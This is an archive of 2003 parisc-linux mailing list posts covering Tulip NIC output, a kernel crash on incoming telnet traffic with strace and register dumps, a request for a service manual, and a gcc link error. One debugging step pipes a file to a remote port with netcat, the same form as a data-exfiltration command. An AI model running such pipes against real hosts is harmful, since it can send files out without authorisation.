        Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (5000ns min, 10000ns max), cache line size 08
        Interrupt: pin A routed to IRQ 128
        Region 0: I/O ports at 1ff00 [size=128]
        Region 1: Memory at f2fff000 (32-bit, non-prefetchable) [size=128]
        Expansion ROM at f2f80000 [disabled] [size=256K]
00: 11 10 19 00 57 01 80 02 30 00 00 02 08 ff 00 00
10: 01 ff 00 00 00 f0 ff f2 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 3c 10 4f 10
30: 00 00 f8 f2 00 00 00 00 00 00 00 00 00 01 14 28

# dmesg |grep -i tulip
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0:  EEPROM default media type Autosense.
tulip0:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip0:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block.
tulip0:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block.
tulip0: ***WARNING***: No MII transceiver found!
eth0: Digital DS21143 Tulip rev 65 at 0x1fd00, 00:10:83:F7:84:33, IRQ 129.
tulip1: no phy info, aborting mtable build
tulip1:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth1: Digital DS21143 Tulip rev 48 at 0x1ff00, 00:60:B0:D0:1B:9F, IRQ 128.

# uname -mrspv
Linux 2.4.18-32 #1 Sat Mar 30 18:26:22 MST 2002 parisc unknown
------------------


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 16 Jan 2003 12:35:18 +0100
Lines: 416
Approved: news@gmane.org
Message-ID: <3E1AAEFA00001880__22245.9681252532$1416622125$gmane$org@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622125 20345 80.91.229.3 (22 Nov 2014 02:08:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:45 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 04:35:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EA2E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 04:35:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Z8Ip-00007u-00; Thu, 16 Jan 2003 12:35:19 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 16 Jan 2003 12:35:18 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17428

...
>
>Or make them available via http or ftp.

The best idea I had, was to put those stuff on a testdrive server but Ran=
dolph
do not have access.

>Otherwise, posting what symbols the IAOQ/GR02 values point at
>is even better.
>
>> I also forget to recall: this only occurs for incoming ethernet trafic=
(ie
>> ssh, telnet, ftp, coming from an external server). The outgoing traffi=
c
>> works fine (I just do a telnet and a ftp from this server to an extern=
al
>> one without crash)
>
>Interesting. "outgoing" has both inbound and outbound data.
>That doesn't sound like a tulip driver bug though it's certainly
>possible.
>
>Have you tried sending UDP (not TCP) traffic?
>(Not sure how to do that...suggestions?)

Well as per Jeremy suggestion I do some following test and obtain strange=

results:

from the 'server' runing gcc32 kernel
cat /something | nc -u host 23
# no problem
cat /samething | nc host 23
# no problem
telnet host
...
# no problem

OTC from an external server to this gcc32 kernel server (which I call pal=
x)

cat /something | nc -u palx 23
# no problem

cat /samething | nc palx 23
# ??? no problem and that is strange because I well address the same 'tel=
net'
port

telnet palx

immediate crash?

so I try to strace telnetd and make it leasen on a port 6800
nohup /usr/sbin/in.telnetd -debug 6800 &

palx2000:~# strace -p  324
poll([{fd=3D3, events=3DPOLLIN, revents=3DPOLLIN}], 1, -1) =3D 1
accept(3, 0, NULL)                      =3D 4
dup2(4, 0)                              =3D 0
close(4)                                =3D 0
close(3)                                =3D 0
lock(0, {sa_family=3DAF_INET, sin_port=3Dhtons(1187), sin_addr=3Dinet_add=
r("172.16.248.169")},
[16]) =3D 0
setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, [1], 4) =3D 0
setsockopt(0, SOL_IP, IP_TOS, [16], 4)  =3D 0
open("/dev/ptmx", O_RDWR)               =3D 3
statfs("/dev/pts", {f_type=3D"DEVPTS_SUPER_MAGIC", f_bsize=3D1024, f_bloc=
ks=3D0,
f_bfree=3D0, f_files=3D0, f_ffree=3D0, f_namelen=3D255}) =3D 0
ioctl(3, 0x40245410, {B38400 opost isig icanon echo ...}) =3D 0
ioctl(3, 0x40045430, [0])               =3D 0
stat64("/dev/pts/0", {st_mode=3D0, st_size=3D5, ...}) =3D 0
statfs("/dev/pts/0", {f_type=3D"DEVPTS_SUPER_MAGIC", f_bsize=3D1024, f_bl=
ocks=3D0,
f_bfree=3D0, f_files=3D0, f_ffree=3D0, f_namelen=3D255}) =3D 0
ioctl(3, 0x80045431, [0])               =3D 0
ioctl(3, 0x40245410, {B38400 opost isig icanon echo ...}) =3D 0
ioctl(3, 0x40045430, [0])               =3D 0
stat64("/dev/pts/0", {st_mode=3D0, st_size=3D5, ...}) =3D 0
open("/dev/pts/0", O_RDWR|O_NOCTTY)     =3D 4
ioctl(4, 0x40245410, {B38400 opost isig icanon echo ...}) =3D 0
readlink("/proc/self/fd/4", "/dev/pts/0", 4095) =3D 10
socket(PF_UNIX, SOCK_STREAM, 0)         =3D 5
connect(5, {sa_family=3DAF_UNIX, path=3D"/var/run/.nscd_socket"}, 110) =3D=
 -1
ENOENT (No such file or directory)
close(5)                                =3D 0
open("/etc/nsswitch.conf", O_RDONLY)    =3D 5
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) =3D 465
read(5, "", 4096)                       =3D 0
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
open("/etc/ld.so.cache", O_RDONLY)      =3D 5
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 25974, PROT_READ, MAP_PRIVATE, 5, 0) =3D 0x40017000
close(5)                                =3D 0
open("/lib/libnss_files.so.2", O_RDONLY) =3D 5
read(5, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0(\234"...,
1024) =3D 1024
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 116188, PROT_READ|PROT_EXEC, MAP_PRIVATE, 5, 0) =3D 0x40196000=

mprotect(0x401a2000, 67036, PROT_NONE)  =3D 0
mmap(0x401b1000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FI=
XED,
5, 0xb000) =3D 0x401b1000
close(5)                                =3D 0
munmap(0x40017000, 25974)               =3D 0
gettimeofday({1042712090, 356267}, NULL) =3D 0
getpid()                                =3D 324
open("/etc/resolv.conf", O_RDONLY)      =3D 5
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "", 4096)                       =3D 0
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
newuname({sys=3D"Linux", node=3D"palx2000", ...}) =3D 0
open("/etc/host.conf", O_RDONLY)        =3D 5
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "order hosts,bind\nmulti on\n", 4096) =3D 26
read(5, "", 4096)                       =3D 0
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
open("/etc/hosts", O_RDONLY)            =3D 5
fcntl64(5, F_GETFD)                     =3D 0
fcntl64(5, F_SETFD, FD_CLOEXEC)         =3D 0
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "127.0.0.1\tlocalhost\n172.16.248.1"..., 4096) =3D 484
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
newuname({sys=3D"Linux", node=3D"palx2000", ...}) =3D 0
open("/etc/hosts", O_RDONLY)            =3D 5
fcntl64(5, F_GETFD)                     =3D 0
fcntl64(5, F_SETFD, FD_CLOEXEC)         =3D 0
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "127.0.0.1\tlocalhost\n172.16.248.1"..., 4096) =3D 484
read(5, "", 4096)                       =3D 0
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
open("/etc/hosts", O_RDONLY)            =3D 5
fcntl64(5, F_GETFD)                     =3D 0
fcntl64(5, F_SETFD, FD_CLOEXEC)         =3D 0
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "127.0.0.1\tlocalhost\n172.16.248.1"..., 4096) =3D 484
read(5, "", 4096)                       =3D 0
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
socket(PF_UNIX, SOCK_STREAM, 0)         =3D 5
connect(5, {sa_family=3DAF_UNIX, path=3D"/var/run/.nscd_socket"}, 110) =3D=
 -1
ENOENT (No such file or directory)
close(5)                                =3D 0
open("/etc/hosts", O_RDONLY)            =3D 5
fcntl64(5, F_GETFD)                     =3D 0
fcntl64(5, F_SETFD, FD_CLOEXEC)         =3D 0
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
read(5, "127.0.0.1\tlocalhost\n172.16.248.1"..., 4096) =3D 484
close(5)                                =3D 0
munmap(0x40017000, 4096)                =3D 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40017000
writev(0, [{"\377\375\30", 3}, {"\377\375 ", 3}, {"\377\375#", 3}, {"\377=
\375\'",
3}], 4) =3D 12
read(0, "#!/usr/bin/env ruby \n\nrequire \'g"..., 8192) =3D 4236
read(0, "", 8192)                       =3D 0
brk(0)                                  =3D 0x35000
brk(0x37000)                            =3D 0x37000
time([1042712118])                      =3D 1042712118
brk(0)                                  =3D 0x37000
brk(0x38000)                            =3D 0x38000
open("/etc/localtime", O_RDONLY)        =3D 5
fstat64(5, {st_mode=3D0, st_size=3D0, ...}) =3D 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
=3D 0x40019000
read(5, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n\0\0\0\n\0"..., 4096=
)
=3D 1067
close(5)                                =3D 0
munmap(0x40019000, 4096)                =3D 0
getpid()                                =3D 324
rt_sigaction(SIGPIPE, {0x4018fa3a, [], 0}, {SIG_DFL}, 8) =3D 0
socket(PF_UNIX, SOCK_DGRAM, 0)          =3D 5
fcntl64(5, F_SETFD, FD_CLOEXEC)         =3D 0
connect(5, {sa_family=3DAF_UNIX, path=3D"/dev/log"}, 16) =3D 0
send(5, "<30>Jan 16 11:15:18 telnetd[324]"..., 57, 0) =3D 57
rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) =3D 0
munmap(0x40017000, 8192)                =3D 0
exit(1)                                 =3D ?


palx2000:~# strace -p  324 palx2000:~# ps -ef | grep telnetdpalx2000:~#
lrt   nohup /usr/sbin/in.telnetd -debug 6800 &
[1] 332
palx2000:~# nohup: appending output to `nohup.out'
nohup /usr/sbin/in.telnetd -debug 6800 &palx2000:~# more nohup.out palx20=
00:~#
strace -p  324 palx2000:~# ps -ef | grep telnetd
root       332   285  0 11:15 ttyS0    00:00:00 /usr/sbin/in.telnetd -deb=
ug
6800
root       336   285  0 11:15 ttyS0    00:00:00 grep telnetd
palx2000:~# ps -ef | grep telnetdpalx2000:~# nohup /usr/sbin/in.telnetd
-debug 6800 &palx2000:~# more nohup.out palx2000:~# strace -p  324
       332 2>&1 | tee /var/logs/StraceTelnetdDebug.doc
poll([{fd=3D3, events=3DPOLLIN, revents=3DPOLLIN}], 1, -1) =3D 1
accept(3, 0, NULL)                      =3D 4
dup2(4, 0)                              =3D 0
close(4)                                =3D 0
close(3)                                =3D 0
lock(0, {sa_family=3DAF_INET, sin_port=3Dhtons(1188), sin_addr=3Dinet_add=
r("172.16.248.169")},
[16]) =3D 0
setsockopt(0, SOL_S
Stack Dump:
 1c6a1b80:  0004ff0e 00000000 00000000 00000000
 1c6a1b70:  00000000 00000000 00000000 00000000
 1c6a1b60:  00000000 00000000 00000000 00000001
 1c6a1b50:  143133fc 00000001 00000003 14313340
 1c6a1b40:  5455509e 00000000 00000000 00000000
 1c6a1b30:  00000000 102bc794 00000000 1811fb60

Kernel addresses on the stack:
 [<102bc794>]  [<10299a38>]  [<102bf3fc>]  [<102c6b90>]
 [<102c38dc>]  [<10126298>]  [<10125cf4>]  [<1012256c>]
 [<1012241c>]  [<10122154>]  [<10109078>]  [<101e2a10>]
 [<101e2a0c>]  [<1013ff24>]  [<1013e3e4>]  [<1014ec28>]
 [<101e49c4>]  [<101e1678>]  [<101e1710>]  [<101e1710>]
 [<101e49c4>]  [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]
 [<101e2b28>]  [<101e1710>]  [<101e49c4>]  [<101e07d8>]
 [<101e0e7c>]  [<101e11c8>]  [<101e2b28>]  [<101e1710>]
 [<101e49c4>]  [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]
 [<101e2b28>]  [<101e1710>]  [<101e49c4>]  [<101e07d8>]
 [<101e0e7c>]  [<101e11c8>]  [<101e2b28>]  [<101e1710>]
 [<101e49c4>]  [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]
 [<101e2b28>]  [<101e1710>]  [<101e49c4>]  [<101e07d8>]
 [<101e0e7c>]  [<101e11c8>]  [<101e2b28>]  [<101e1710>]
 [<101e49c4>]  [<101e07d8>]  [<101e0e7c>]  [<101e11c8>]
 [<101e2b28>]  [<101e1710>]  [<101e49c4>]  [<101e07d8>]
 [<101e0e7c>]  [<101e11c8>]  [<101e2b28>]  [<101e1710>]
 [<101e49c4>]  [<101e07d8>]  [<101e0e7c>]

Kernel Fault: Code=3D26 regs=3D1c6a1b80 (Addr=3D00000001)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 10340810 10299a38 1c6a1b00
r04-07  19ba8810 103a58b4 1f37586c 00000001
r08-11  10340bc0 00000001 0000000f 10342810
r12-15  103fc010 00000000 0000b71b 00035054
r16-19  1c6a1600 faf00208 000020a8 19ba8810
r20-23  00000000 00000001 10299a08 00000005
r24-27  00000001 00000001 1f37586c 10330010
r28-31  00000000 00000000 1c6a1b80 102bf3fc
sr0-3   00000000 00000383 00000000 00000383
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1011a73c 1011a740
 IIR: 0ea01093    ISR: 00000000  IOR: 00000001
 CPU:        0   CR30: 19a90000 CR31: 103e8000
 ORIG_R28: 00000000

For which crash dump_analyser.sh give me:
IAOQ =3D 1011a73c
Func: __wake_up, Off: 64, Addr: 0x1011a73c
1011a730:	34 28 07 60 	ldo 3b0(r1),r8
1011a734:	0c 99 10 95 	ldw -4(sr0,r4),r21
1011a738:	34 14 00 00 	ldi 0,r20
1011a73c:	0e a0 10 93 	ldw 0(sr0,r21),r19
1011a77c:	88 86 3f 6f 	cmpb,<>,n r6,r4,1011a738 <__wake_up+0x60>

GR0 =3D 00000000

GR1 =3D 10340810
Func: syscall_names, Off: 39c, Addr: 0x10340810

GR2 =3D 10299a38
Func: sock_def_readable, Off: 30, Addr: 0x10299a38
10299a14:	86 80 20 38 	cmpib,=3D 0,r20,10299a38 <sock_def_readable+0x30>
10299a28:	82 74 20 10 	cmpb,=3D r20,r19,10299a38 <sock_def_readable+0x30>=

10299a30:	e8 4f 04 e8 	b,l 102b7cac <tcp_recvmsg+0xa3c>,rp
10299a34:	08 00 02 40 	nop
10299a38:	48 73 05 a8 	ldw 2d4(r3),r19
10299a3c:	86 60 20 2a 	cmpib,=3D,n 0,r19,10299a58 <sock_def_readable+0x50=
>

GR3 =3D 1c6a1b00

GR4 =3D 19ba8810

GR5 =3D 103a58b4
Func: identify_ramdisk_image, Off: 78, Addr: 0x103a58b4
103a58b0:	08 04 02 58 	copy r4,r24
103a58b4:	0c 60 10 14 	ldb 0(sr0,r3),r20
103a58b8:	34 13 00 3e 	ldi 1f,r19
103a58bc:	82 93 22 58 	cmpb,=3D r19,r20,103a59f0 <identify_ramdisk_image+=
0x1b4>

GR6 =3D 1f37586c

GR7 =3D 00000001

GR8 =3D 10340bc0
Func: runqueue_head, Off: 0, Addr: 0x10340bc0

GR9 =3D 00000001

GR10 =3D 0000000f

GR11 =3D 10342810
Func: kstat, Off: 1bf8, Addr: 0x10342810

GR12 =3D 103fc010
Func: tv1, Off: 358, Addr: 0x103fc010

GR13 =3D 00000000

GR14 =3D 0000b71b

GR15 =3D 00035054

GR16 =3D 1c6a1600

GR17 =3D faf00208

GR18 =3D 000020a8

GR19 =3D 19ba8810

GR20 =3D 00000000

GR21 =3D 00000001

GR22 =3D 10299a08
Func: sock_def_readable, Off: 0, Addr: 0x10299a08
10299a00:	34 42 3f d9 	ldo -14(rp),rp
10299a04:	08 00 02 40 	nop
10299a08 <sock_def_readable>:
10299a08:	6b c2 3f d9 	stw rp,-14(sp)
10299a0c:	6f c3 00 80 	stw,ma r3,40(sp)

GR23 =3D 00000005

GR24 =3D 00000001

GR25 =3D 00000001

GR26 =3D 1f37586c

GR27 =3D 10330010
Func: $global$, Off: 0, Addr: 0x10330010

GR28 =3D 00000000

GR29 =3D 00000000

GR30 =3D 1c6a1b80

GR31 =3D 102bf3fc
Func: tcp_rcv_established, Off: 6bc, Addr: 0x102bf3fc
102bf3f0:	34 19 00 00 	ldi 0,r25
102bf3f4:	e6 c0 20 00 	be,l 0(sr4,r22),%sr0,%r31
102bf3f8:	08 1f 02 42 	copy r31,rp
102bf3fc:	e8 1f 15 55 	b,l 102beeac <tcp_rcv_established+0x16c>,r0

(nothing change for kernel)

That does not help me more but may be somebody else?



>
>You have any iptables (firewall) filtering enabled?
>

I check and there well iptables foreseen as module bu not loaded?

>Maybe an issue with opening a new connection in the interrupt context?
>My weak understanding of the network stack is that a TCP packet comes
>in with SYN (on the interrupt stack) and gets queued for the bottom
>half. The bottom half is invoked with interrupts re-enabled but
>on the kernel stack in the "interrupt context". Did I get that right?
>
IIRC Carlos suspect a tty problem?

hth,
Joel



*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Where can I get an N4000 service manual?
Date: Fri, 17 Jan 2003 3:10:49 +1300
Lines: 11
Approved: news@gmane.org
Message-ID: <20030116141049.ZTIG14518.web4-rme.xtra.co.nz@[127.0.0.1]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622125 20348 80.91.229.3 (22 Nov 2014 02:08:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 07:11:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta204-rme.xtra.co.nz (mta204-rme.xtra.co.nz [210.86.15.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id D55C54829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 07:11:01 -0700 (MST)
Original-Received: from web4-rme.xtra.co.nz ([210.86.15.142])
          by mta204-rme.xtra.co.nz with ESMTP
          id <20030116141049.TYTZ1188.mta204-rme.xtra.co.nz@web4-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 17 Jan 2003 03:10:49 +1300
Original-Received: from [127.0.0.1] by web4-rme.xtra.co.nz with SMTP
          id <20030116141049.ZTIG14518.web4-rme.xtra.co.nz@[127.0.0.1]>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 17 Jan 2003 03:10:49 +1300
X-Originating-IP: [210.54.110.15]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17429

Hi Lads

I need a service manual for an N4000 (440MHz rev) server. The public manual on the docs.hp.com website is a piece of rubbish (I think it might be the modern equivalent of the "no user servicable parts inside" label).

I could not find the info I need on ITRC. Does anybody know where I can get a copy of the service manual?

Regards,

Gavin



From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 3.0 error
Date: Thu, 16 Jan 2003 15:34:36 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <3E1AAEFA0000190A__26621.3972274729$1416622126$gmane$org@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622126 20350 80.91.229.3 (22 Nov 2014 02:08:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:46 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 07:34:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFF724829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 07:34:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ZB6M-0002jV-00; Thu, 16 Jan 2003 15:34:38 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 16 Jan 2003 15:34:36 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17430

Hi all,

Trying to rebluid a graphical library on my hppa linux b180 still running=

gcc-3.0 as default, I got following message:

/usr/bin/ld -r -o .libs/libTKernel.la-478.o .libs/Units_UtsSequence_0.o
.libs/libTKernel.la-477.o
gcc -shared .libs/libTKernel.la-478.o  -ldl -lieee -lm  -Wl,-soname -Wl,l=
ibTKernel.so.0
-o .libs/libTKernel.so.0.0.0
/usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot reach 000=
00387__ZNSolsEPFRSoS_E+0,
recompile with -ffunction-sections
/usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot handle R_=
PARISC_PCREL17F
for std::ostream::operator<<(std::ostream& (*)(std::ostream&))
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status
make[3]: *** [libTKernel.la] Error 1
make[3]: Leaving directory `/CAD/OpenCascade/build/src/TKernel'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/CAD/OpenCascade/build/src'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/CAD/OpenCascade/build'
make: *** [all] Error 2

As it is a very long job (more then 12h) what would it be better:
1) simply following advise: "recompile with -ffunction-sections"
2) upgrade directly to gcc-3.2

Thanks for help,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Thu, 16 Jan 2003 14:37:46 +0000 (GMT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301161427060.31815-100000__38222.7942850024$1416622126$gmane$org@sal.ucc.ie>
References: <20030116010620.GB8543@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622126 20355 80.91.229.3 (22 Nov 2014 02:08:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:46 +0000 (UTC)
Cc: jsoe0708@tiscali.be, Randolph Chung <tausq@debian.org>,
	<parisc-linux@lists.parisc-linux.org>, <debian-hppa@lists.debian.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 07:37:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BE584829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 07:37:53 -0700 (MST)
